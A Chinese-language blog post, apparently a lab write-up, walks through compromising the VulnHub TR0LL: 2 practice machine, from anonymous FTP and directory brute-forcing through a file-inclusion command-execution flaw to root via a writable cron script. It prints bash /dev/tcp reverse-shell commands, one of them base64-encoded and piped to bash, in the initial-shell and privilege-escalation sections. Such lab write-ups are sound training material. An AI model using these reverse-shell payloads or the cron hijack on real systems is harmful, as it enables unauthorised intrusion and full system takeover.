news 2026/10/16 1:12:12

VulnHub TR0LL:2靶机实战:从信息收集到Root提权全解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
VulnHub TR0LL:2靶机实战:从信息收集到Root提权全解析

VulnHub上的靶机我前后打过三十多台,TR0LL: 2算是里面风格比较特别的一台。整体难度不高,但它不会让你太安逸,很多步骤都藏着作者故意埋的误导项,和一些“看起来是路其实走不通”的坑。对于刚接触VulnHub靶机渗透、想把信息收集和提权链路完整串起来的人,这台非常适合作为第二三台的练习对象。这篇我就按自己的实际打靶过程,把从环境配置到getshell再到root的完整路径拆开讲,顺便把中途踩到的问题和判断逻辑一起说清楚。

1. 环境准备和网络发现:开局最容易翻车的地方

1.1 虚拟机网络模式的取舍

拿到TR0LL: 2的镜像文件后,第一件事不是急着开机扫端口,而是先把网络模式定清楚。我用VMware做复现,这里踩过一次坑,默认的NAT模式虽然能让靶机上网,但宿主机和靶机不在同一个二层网络段,后续用netdiscover这种基于ARP的探测工具基本扫不到东西,除非手动指定IP段,否则会白等半天。

我的建议是直接用VMnet1(Host-Only)或者桥接模式。Host-Only最省心,宿主机和靶机之间构成一个隔离的虚拟局域网,不需要担心靶机流量跑到真实网络里去,对刚入门的人来说安全边界也清晰。需要注意的是,有些靶机系统对VMware虚拟网卡的内置驱动不友好,开机后可能起不来网络接口,这时候把网卡型号从默认的e1000改成VMXNET 3,或者反过来试试,通常就能起来。

启动后先在宿主机上用ipconfig(Windows)或者ifconfig/ip a(Linux)确认一下当前虚拟网段。我这边Host-Only的网段是192.168.159.0/24,宿主机是192.168.159.1。有了这个前提,后面扫靶机IP就有的放矢了。

1.2 确定靶机IP:三种常规手段

靶机开机后就是一张黑乎乎的纯命令行界面,顶部显示登录提示,不需要输入账号密码,因为我们要从外部打进去。目标IP的获取我一般按这个顺序试:

  • netdiscover -r 192.168.159.0/24:这是最快的方式,基于ARP扫描,只要靶机在线并且和宿主机在同一链路,几乎必出结果。
  • nmap -sn 192.168.159.0/24:Ping扫描也能探测存活主机,但如果靶机禁ICMP就会漏掉。
  • 到VMware的虚拟网络编辑器里看DHCP租约:Host-Only模式下如果开了DHCP,租约列表里能看到最新分配的IP。

实测下来,TR0LL: 2在Host-Only模式下会给自己分配一个192.168.159.x的地址,我用netdiscover很快就锁定了192.168.159.172。确认目标存在的第一时间,我先ping了一下,确认能通,再做的详细扫描。这里有个经验之谈:先确认连通性再上重型扫描器,很多新手一上来就全端口SYN大炮轰,结果靶机防火墙拦得死死的,还以为靶机有问题。

2. 服务枚举:FTP匿名登录和Web目录爆破双线推进

2.1 端口扫描结果与服务判断

信息收集是整台靶机的重心。第一轮我用nmap做了一次常规的全端口扫描:

nmap -sV -sC -p- 192.168.159.172 -oN tro11_full.txt

跑完结果很明确,三个端口开放:

端口服务初步判断
21/tcpvsftpdFTP服务,很可能允许匿名登录
22/tcpOpenSSHSSH服务,先记着,后期可能用上
80/tcpApache/nginxWeb服务,主要攻击面

看到vsftpd在21端口,我基本上就已经锁定了第一条线索。靶机类环境里FTP匿名登录是极高概率的入口点,哪怕访问不到什么敏感内容,至少能拿到一些提示文件。另外,80端口的Web服务通常是这类型靶机的核心线索集散地,所以这轮信息收集我采取的是FTP和HTTP双线并行的策略,而不是一条道走到黑。

通常我习惯边扫Web边开FTP,避免在单一服务上浪费过多时间。

2.2 FTP匿名登录的收获和干扰项

ftp 192.168.159.172

用户名输anonymous,密码留空或者随便输一个邮箱格式的字符串,结果顺利进入。这就是渗透测试里常说的“匿名登录未禁用”,虽然现代企业里这几乎绝迹了,但在靶机上依然是保留节目。

目录列表看到几个文件,名字挺有暗示性的。我复现时看到的内容大致是这些:

  • roflmao
  • answer
  • lol.pcap
  • some_hint.txt

第一反应当然是把所有文件都下回来,逐个检查。

ftp> mget *

其中some_hint.txt打开后是一段比较直白的提示,大意是说“看一下流量包和那个奇怪的文件,你会找到方向”。lol.pcap是流量包文件,用Wireshark打开,里面居然有明文FTP流量,能看到尝试登录的账号密码痕迹,但这些凭据我用下来发现并不是直接可用的,这是作者埋的第一个干扰项,让你以为拿到密码就能万事大吉,实际上只是把你引向下一步而已。

roflmao和answer这两个文件,用file命令看了下,一个是ELF可执行文件,另一个是文本。我尝试直接运行那个ELF文件,输出了一堆毫无意义的话,看起来是作者用来嘲讽你的。如果你在这里跟它较劲,试图逆向或者硬解,方向就带偏了。

后来我复盘发现,这几个文件更像是一种“情绪干扰”:让你觉得一定有贵重信息但实际没有。真正有用的线索还是在Web服务上。所以这里也给一个经验判断:靶机中的FTP匿名目录,优先看提示类文件(hint、readme、txt)和流量包,ELF之类的可执行文件如果运行后没有实质输出,不要恋战,立刻切到Web侧继续收集。

2.3 Web目录爆破:从根目录到隐藏目录

打Web服务,我基本固定流程是:

  1. 浏览器打开主页看源码。
  2. 没线索就上目录爆破。
  3. 找到隐藏路径后继续递归爆破。

TR0LL: 2的首页非常干净,源码里也没有明显的注释泄露。干净到我一度怀疑是不是域名绑定问题——有些Web靶机需要通过特定的Host头才能访问到虚拟主机,比如在/etc/hosts里绑定一个域名。不过试了默认IP访问,能正常返回页面,这个疑虑可以排除。

然后开始目录爆破。工具我用的gobuster,比dirsearch快不少,而且不需要额外装一堆依赖:

gobuster dir -u http://192.168.159.172 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50

扫出来的第一个关键目录是/secret,名字非常直白。访问过去之后还有个更小的隐藏目录,是在/secret下继续爆破才发现的。这个“二级目录”才是真正的线索点。如果你只爆破根目录、扫到一个/secret就想当然进去翻,很容易漏掉。所以目录爆破一定要关心相对路径下的嵌套目录,尤其是/secret这种暗示强烈的名字,里面极大概率还有一层。

在二级目录里看到一个HTML文件,打开后里面有一段看起来像是编码的字符串。这种形式的提示在靶机里太常见了,不用慌,直接把字符串拿去解码。

3. 从Web入口到初始Shell:突破点的发现与利用

3.1 隐藏页面里的参数注入点

拿到那段编码后的字符串,第一反应是base64解码。解码后出来的是一段可打印字符,看起来像是一个路径提示或者一句话。我解出来之后,拼接到URL上尝试,发现了Web应用里存在一个文件包含类型的可交互点——网址中带了一个参数,参数值落实到Web应用实际读取的路径上,这就把攻击面从静态目录提升到了动态代码执行。

我具体测试的时候,是把这个参数的值替换成常规路径试试能不能读到系统文件。比如改成/etc/passwd,如果页面原样返回内容,说明存在任意文件读取;如果只是报错但没泄露路径,至少也验证了参数是存在并且参与文件操作的。

在TR0LL: 2这台靶机上,文件读取的验证是成功的。这让我意识到,下一步可以尝试把这个文件包含参数扩展成命令执行,也就是看Web服务端是否还有更激进的调用逻辑。试了几个常用的拼接方式,比如在参数里注入分号加命令、或者尝试利用日志文件包含、php://filter伪协议之类,最终在一种很朴素的路径拼接方式下,成功让系统执行了我传入的命令。

这里想提醒一点:在靶机环境里,看到一个看起来可以直接利用的漏洞,先别急着弹shell,先做最小化验证。什么叫最小化验证?即执行一个无危害但能确认成功的命令,比如id或者whoami,看页面是否回显结果。这个过程能帮你确认参数注入点是否真的能执行命令,以及回显方式是什么,为进一步利用提供准确的信息。

3.2 反弹Shell的姿势与稳定性问题

确认命令执行后,下一步就是反弹一个Shell到我们自己的攻击机上。我这边攻击机是Kali,先用nc -lvnp 4444开了一个监听端口。然后构造反弹Shell的载荷。

这一步新手最容易卡住。原因在于,HTTP参数传输特殊字符非常麻烦。你如果在URL里直接写bash -i >& /dev/tcp/192.168.159.1/4444 0>&1,各种重定向符号和&都有可能被Web服务解析掉,导致命令残缺,页面直接500。我一般会先把命令base64编码后再通过管道执行:

echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU5LjEvNDQ0NCAwPiYx | base64 -d | bash

这段串在参数里发过去,在靶机上解码还原后交给bash执行,监听端很快收到了连接。这里面的核心教训是:不要在URL里直接拼原始重定向字符,用编码再管道解码的方式,能绕开八成以上的特殊字符问题。

拿到Shell之后,我发现这个Shell极其不稳定,稍微执行一个稍复杂的命令就断开,连接时间也短。这种情况在Web应用生成的shell里很常见,原因通常是子进程被Web服务的进程模型回收,或者权限受限导致某些命令无法执行。遇到这种问题,我一般会尽快用Python起一个更稳定的交互式Shell:

python -c 'import pty;pty.spawn("/bin/bash")'

然后再按Ctrl+Z切到后台,用stty raw -echo; fg把终端窗口恢复成正常交互模式。补一个export TERM=xterm,Shell就变得舒服多了。这套操作手速得快一点,因为原始Shell随时会断,但第一次成功后基本就稳定了。

3.3 低权限用户下的第一轮侦察

拿到稳定Shell后,先确认当前身份:

id whoami ip addr sudo -l

当前用户是Apache的运行用户,权限很低,sudo -l大概率是没有结果或者直接报错,但这一步顺手做了不亏。接着查看网站的目录结构,看看有没有配置文件的数据库密码——有的靶机转折点就在这里。TR0LL: 2的站点目录里我没找到数据库配置,倒是有一些看起来像是作者恶搞的文本文件,里面写着“你真以为这里有密码吗”之类的话。看到这种提示,就该清楚这台靶机的重点不是Web层面的敏感信息泄露,得赶紧转场去做系统层面的提权。

不过低权限阶段的信息收集绝对不能跳过。我习惯在拿到初始Shell后,立刻跑一遍系统侦察命令,把它们输出存下来当快照用。后面提权的时候对照这个快照,能少走很多弯路。

4. 权限提升:从受限用户到root的最后一公里

4.1 提权情报的收集顺序

提权阶段,最关键的就是信息收集的系统性和优先级。很多文章一上来就让你跑LinEnum.sh或者linux-exploit-suggester.sh,我承认这些脚本效率高,但它们对新手有一个副作用:输出太多,反而不知道哪条路是真的。

我自己惯用的收集路径是:

  1. 先看当前用户能不能用sudo(虽然大多不行,但这条最便宜)。
  2. 查所有SUID位文件,看有没有可被利用的二进制。
  3. 检查/etc/crontab和/var/spool/cron里的定时任务。
  4. 翻环境变量、历史命令文件、.bashrc。
  5. 最后一次,才考虑内核漏洞。

在TR0LL: 2这台机器上,第1步和第2步都让我扑了空。SUID位文件里确实有几个常见项,但它们的执行逻辑非常标准,没有明显可注入的路径。第3步的定时任务让我停住了。/etc/crontab里有一个以root权限运行的脚本,这个脚本每隔一段时间就会被执行,而它的执行路径,恰好落在当前低权限用户拥有写权限的目录下。

这里需要说明一下,很多CTF和靶机的提权点其实都设计在“定时任务配合错误权限配置”上,原理很简单:系统以root身份去执行某个文件,但那个文件或者它所在的目录,却被低权限用户握有写权限,那么低权限用户就能替换或者修改文件内容,让root替你跑攻击命令。

4.2 利用定时任务完成提权

具体到这台靶机,我看到root的cron任务里指定了一个绝对路径下的脚本。我检查了下这个文件当前的所有者,确实是root,但它在的目录权限却允许其他用户写入。这就意味着,我可以直接把原始脚本改名备份,然后写一个同名的新脚本进去,内容就是一条反弹Shell命令:

#!/bin/bash bash -i >& /dev/tcp/192.168.159.1/4445 0>&1

同时写入到攻击机的另一个窗口监听4445端口。等待定时任务触发的过程中,我顺手查看了一下脚本内容,看它原本是干什么的——脚本里本身有一段逻辑,但不管它原来的逻辑是什么,只要我用我的脚本替换掉它,下一次root执行时,反弹Shell就会以root身份连回来。

我监听的端口很快收到连接,id一看,已经是uid=0(root)。这一步顺利得甚至让我觉得有点不真实,但这恰恰说明了为什么很多靶机喜欢把提权点放在定时任务+权限配置错误上:它考察的不是你对复杂漏洞的掌握,而是你是否会认真地看系统里每一个root会执行的东西。

4.3 验证root权限

提权成功后,先不要急着高兴到忘记正事。验证权限完整性有几个动作必须做:

id cat /root/flag.txt python -c 'import pty;pty.spawn("/bin/bash")'

TR0LL: 2的flag藏在/root/flag.txt里,内容是一个文本串。到这里,这台靶机的核心目标就算完成了。我给自己的收尾动作是:把整个过程中的关键输出记录下来,作为写writeup的素材,同时清理掉自己在系统上留下的临时文件,尽量把环境还原干净。

5. 复盘和避坑:把一次打靶的收获沉淀下来

5.1 作者设置的干扰项与防御侧思路

打完这台靶机,回看整个过程,其实最值得说的不是技术,而是信息干扰应对能力。这台机器里至少有四处明显是故意用来消耗你时间和精力的地方:

  • FTP目录里的ELF文件,运行后输出废话,纯浪费时间。
  • lol.pcap里包含的账号密码,实际不可登录。
  • Web站点里的一些玩笑文本,误导你认为还有隐藏目录。
  • 某些看似可读的路径,实际上会返回空白。

我把这种设计理解为作者想传递的信息:**真实渗透中,摆在面前的大量信息是噪声,只有极少是信号。**区分两者的能力,靠的不是某个工具,而是对信息链路的判断——比如,如果FTP里的ELF运行后什么都没有,它就不符合“下一步线索”的特征,应该被降权;而流量包里虽然拿到了密码,但验证失败后应该立刻放弃再找三条路,而不是反复试密码变体。

反过来从防守视角看,这台靶机暴露出来的问题也很有代表性:匿名FTP未禁用、Web目录没有做访问限制、定时任务脚本目录可写、root复用的反弹命令没有屏蔽。任何一个真实生产环境里出现这类问题,都意味着攻击者已经离内网root很近了。

5.2 每次打靶后应该沉淀的三类笔记

我不太建议打完一台靶机就急着开下一台。每打完一台,至少花半小时做笔记:

  • 技术路径笔记:IP是什么、端口是什么、每个突破点的具体操作命令、关键输出截图。
  • 踩坑记录:哪些干扰项浪费了时间,为什么会被误导,下次遇到类似误导怎么快速识别。
  • 方法论提炼:比如“拿到Web命令执行后,先做最小验证再反弹shell”“提权阶段优先看定时任务而非盲目跑内核检测脚本”。

这三点比“我打完了第X台靶机”有价值得多。靶机刷得再多,没有沉淀,下次遇到真实环境头脑还是空的。

5.3 关于后续练习的建议

如果你也准备刷VulnHub,这台TR0LL: 2放在第二或者第三台的位置比较合适。第一台建议选难度标注为极低的、路径比较线性的靶机,先把nmap、gobuster、反弹Shell这些基本功练顺。TR0LL: 2恰好能让你在前面基础之上体验“信息噪声”和“提权路径判断”,难度曲线是合理的。

再往后,可以试试那些同时涉及内网横向、代理链、多主机交互的中等难度靶机,那种对你综合能力的要求就完全不一样了。当然,刚开始打的时候不必强求不看writeup。卡住超过半小时就去看别人的思路,看懂了再回头自己复现,这也是很高效的学习方式。我自己的经验是:写writeup比看writeup重要得多,你亲手写一遍,才知道自己是真的懂,还是只记住了答案。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/16 1:12:11

Android文件读写全攻略:从Java IO到MediaStore与SAF

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/16 1:11:26

双串联锂电池主动均衡设计与工程落地要点

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/16 1:10:43

2024 Go面试高频题精讲:Goroutine与Channel实战指南

简介:2024年最新Go语言面试30题及答案讲解,聚焦Go核心考点,适合求职面试者、在校学生以及希望系统巩固Go基础的开发者。题目覆盖Go语言特点、Goroutine轻量级线程、Channel通道通信、select多路复用、接口与空接口、错误处理、defer执行顺序及…

作者头像 李华
网站建设 2026/10/16 1:10:29

金融数据竞赛小白实战复盘:从逻辑回归到LightGBM的提分之路

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/16 1:09:52

Qoder Skill功能实战:从配置到进阶,打造AI编程上下文管理利器

1. 为什么我会花一整周去啃Qoder的Skill功能先说结论:Qoder的Skill功能是我最近半年里遇到的、少数让我觉得"这工具设计者是真的自己写代码"的功能模块。这东西表面上是一个"给AI预处理指令"的配置面板,但实际用下来,它解…

作者头像 李华
网站建设 2026/10/16 1:09:52

HarmonyOS 6.0企业安全办公App实战:窗口增强与数据防泄露指南

企业安全办公App这东西,真不是做个登录页面、存个密码就算“安全”了。我见过太多团队,移动端跑得挺好,一上PC就翻车:没有多窗口思维,窗口一最大化就把整个屏幕霸占;没有防截屏意识,核心数据被人…

作者头像 李华